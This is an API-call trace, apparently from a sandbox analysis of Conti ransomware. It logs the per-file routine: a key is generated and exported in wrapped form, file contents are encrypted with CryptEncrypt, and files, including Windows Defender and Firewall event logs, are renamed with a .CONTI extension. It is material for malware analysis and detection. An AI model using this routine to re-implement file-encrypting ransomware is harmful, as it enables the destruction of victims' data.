	[0094.165] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico"
	[0094.166] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.CONTI"
	[0094.166] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.conti")) returned 1
	[0094.166] GetProcessHeap () returned 0x1720000
	[0094.166] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.166] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0094.166] GetProcessHeap () returned 0x1720000
	[0094.166] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6ec0 | out: hHeap=0x1720000) returned 1
	[0094.166] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0095.288] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x17d38d0 | out: phKey=0x17d38d0*=0x17c8370) returned 1
	[0095.288] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d38d4, pdwDataLen=0x55ffb34 | out: pbData=0x17d38d4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0095.289] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20
	[0096.773] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0096.800] GetLastError () returned 0x0
	[0096.800] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=69632) returned 1
	[0096.800] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.800] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.800] SetEndOfFile (hFile=0x38c) returned 1
	[0096.801] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.801] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.801] WriteFile (in: hFile=0x38c, lpBuffer=0x17d38d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x17d38d4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0096.802] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.802] ReadFile (in: hFile=0x38c, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.844] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x11000, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x11010) returned 1
	[0096.844] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.844] WriteFile (in: hFile=0x38c, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x11010, lpOverlapped=0x0) returned 1
	[0096.845] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.845] WriteFile (in: hFile=0x38c, lpBuffer=0x17d38c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x17d38c8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0096.845] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.845] CloseHandle (hObject=0x38c) returned 1
	[0096.847] GetProcessHeap () returned 0x1720000
	[0096.847] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0096.848] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx"
	[0096.848] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.CONTI"
	[0096.848] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.conti")) returned 1
	[0096.851] GetProcessHeap () returned 0x1720000
	[0096.851] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0096.851] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0096.851] GetProcessHeap () returned 0x1720000
	[0096.851] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfba0 | out: hHeap=0x1720000) returned 1
	[0096.852] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0096.852] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x17e96b8 | out: phKey=0x17e96b8*=0x17c8370) returned 1
	[0096.852] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e96bc, pdwDataLen=0x55ffb34 | out: pbData=0x17e96bc*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0096.852] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20
	[0096.903] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.904] GetLastError () returned 0x0
	[0096.904] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=69632) returned 1
	[0096.904] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.904] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.904] SetEndOfFile (hFile=0x390) returned 1
	[0096.904] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.904] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.904] WriteFile (in: hFile=0x390, lpBuffer=0x17e96bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x17e96bc*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0096.906] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.906] ReadFile (in: hFile=0x390, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.911] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x11000, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x11010) returned 1
	[0096.911] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.911] WriteFile (in: hFile=0x390, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x11010, lpOverlapped=0x0) returned 1
	[0096.911] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.911] WriteFile (in: hFile=0x390, lpBuffer=0x17e96b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x17e96b0*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0096.911] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.911] CloseHandle (hObject=0x390) returned 1
	[0096.913] GetProcessHeap () returned 0x1720000
	[0096.913] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.913] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx"
	[0096.913] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.CONTI"
	[0096.913] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.conti")) returned 1
	[0096.913] GetProcessHeap () returned 0x1720000
	[0096.914] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.914] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0096.914] GetProcessHeap () returned 0x1720000
	[0096.914] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c90d0 | out: hHeap=0x1720000) returned 1
	[0096.914] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0096.914] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x17e7910 | out: phKey=0x17e7910*=0x17c8370) returned 1
	[0096.914] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e7914, pdwDataLen=0x55ffb34 | out: pbData=0x17e7914*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0096.914] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20
	[0096.915] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.915] GetLastError () returned 0x0
	[0096.915] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=69632) returned 1
	[0096.915] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.915] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.915] SetEndOfFile (hFile=0x390) returned 1
	[0096.915] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.915] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.915] WriteFile (in: hFile=0x390, lpBuffer=0x17e7914*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x17e7914*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0096.916] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.916] ReadFile (in: hFile=0x390, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.923] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x11000, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x11010) returned 1
	[0096.923] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.923] WriteFile (in: hFile=0x390, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x11010, lpOverlapped=0x0) returned 1
	[0096.924] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.924] WriteFile (in: hFile=0x390, lpBuffer=0x17e7908*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x17e7908*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0096.924] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.924] CloseHandle (hObject=0x390) returned 1
	[0096.926] GetProcessHeap () returned 0x1720000
	[0096.926] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.926] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx"
	[0096.926] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.CONTI"
	[0096.926] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.conti")) returned 1
	[0096.927] GetProcessHeap () returned 0x1720000
	[0096.927] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.927] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0096.927] GetProcessHeap () returned 0x1720000
	[0096.927] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bc60 | out: hHeap=0x1720000) returned 1
	[0096.927] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0096.927] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x17e7da0 | out: phKey=0x17e7da0*=0x17c8370) returned 1
	[0096.927] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e7da4, pdwDataLen=0x55ffb34 | out: pbData=0x17e7da4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0096.928] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20
	[0096.928] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.928] GetLastError () returned 0x0
	[0096.928] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=69632) returned 1
	[0096.928] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.928] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.928] SetEndOfFile (hFile=0x390) returned 1
	[0096.928] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.928] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.928] WriteFile (in: hFile=0x390, lpBuffer=0x17e7da4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x17e7da4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0096.930] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.930] ReadFile (in: hFile=0x390, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.934] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x11000, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x11010) returned 1
	[0096.934] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.934] WriteFile (in: hFile=0x390, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x11010, lpOverlapped=0x0) returned 1
	[0096.934] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.934] WriteFile (in: hFile=0x390, lpBuffer=0x17e7d98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x17e7d98*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0096.934] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.934] CloseHandle (hObject=0x390) returned 1
	[0096.936] GetProcessHeap () returned 0x1720000
	[0096.936] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.936] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx"
	[0096.936] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.CONTI"
	[0096.936] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.conti")) returned 1
	[0096.937] GetProcessHeap () returned 0x1720000
	[0096.937] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.937] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0096.937] GetProcessHeap () returned 0x1720000
	[0096.937] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9160 | out: hHeap=0x1720000) returned 1
	[0096.937] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0099.170] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x17e86c0 | out: phKey=0x17e86c0*=0x17c7f30) returned 1
	[0099.170] CryptExportKey (in: hKey=0x17c7f30, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e86c4, pdwDataLen=0x55ffb34 | out: pbData=0x17e86c4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0099.171] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml")) returned 0x20
	[0099.171] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4
	[0099.171] GetLastError () returned 0x0
	[0099.171] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=1382) returned 1
	[0099.171] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x566
	[0099.171] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.172] SetEndOfFile (hFile=0x3b4) returned 1
	[0101.776] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.776] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
